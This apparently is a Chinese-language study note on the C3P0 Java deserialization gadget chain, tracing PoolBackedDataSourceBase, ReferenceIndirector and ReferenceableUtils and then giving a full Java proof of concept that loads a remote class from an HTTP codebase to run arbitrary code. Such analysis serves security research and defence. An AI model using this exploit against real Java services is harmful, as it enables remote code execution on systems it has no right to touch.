c3p0反序列化
参考JAVA反序列化之C3P0 - 跳跳糖 (tttang.com)
环境搭建
记得maven换源
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
URLclassloader
这条链在许多文章中也被称为http base链。
在PoolBackedDataSourceBase类(抽象类)的writeObject方法中有如下内容
该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作。我们跟进ReferenceIndirector.indirectForm方法。
此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化。
下图是ReferenceSerialized构造方法,结合上文可以发现,其reference对象是人为可控的。
尽然说到了PoolBackedDataSourceBase的writeObject方法,有序列化肯定就有反序列化,那自然而然到PoolBackedDataSourceBase的readObject方法看看。
可以看到会调用序列流中的对象的getObject方法,结合上文,如果ReferenceSerialized被序列化到了序列流中,那么这里可以是ReferenceSerialized#getObject,我们进行跟进。
跟进后可以发现调用了ReferenceableUtils.referenceToObject这个静态方法,再度进行跟进
由于ref是在序列化的时候可以控制的参数,那么fClassName自然也是可以控制的属性。
结合下图黄框中的内容不难发现,我们可以通过URLClassLoader实例化远程类,造成任意代码执行。
poc
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.naming.ReferenceableUtils;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class CPtest
{
// public static void main(String[] args)
// {
// new PoolBackedDataSourceBase();
// new ReferenceIndirector()
// }
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
f1.setAccessible(true);
f1.set(a,new evil());
serialize(a);
unserialize("ser.bin");
}
public static class evil implements ConnectionPoolDataSource, Referenceable
{
public PrintWriter getLogWriter () throws SQLException
{return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException
{return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
@Override
public Reference getReference() throws NamingException
{
return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
}
}
}
调用链:
PoolBackedDataSourceBase.readObject->ReferenceIndirector.getObject->ReferenceableUtils.referenceToObject
eval类其实是继承一下 Referenceable
类,前面分析过了
如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget。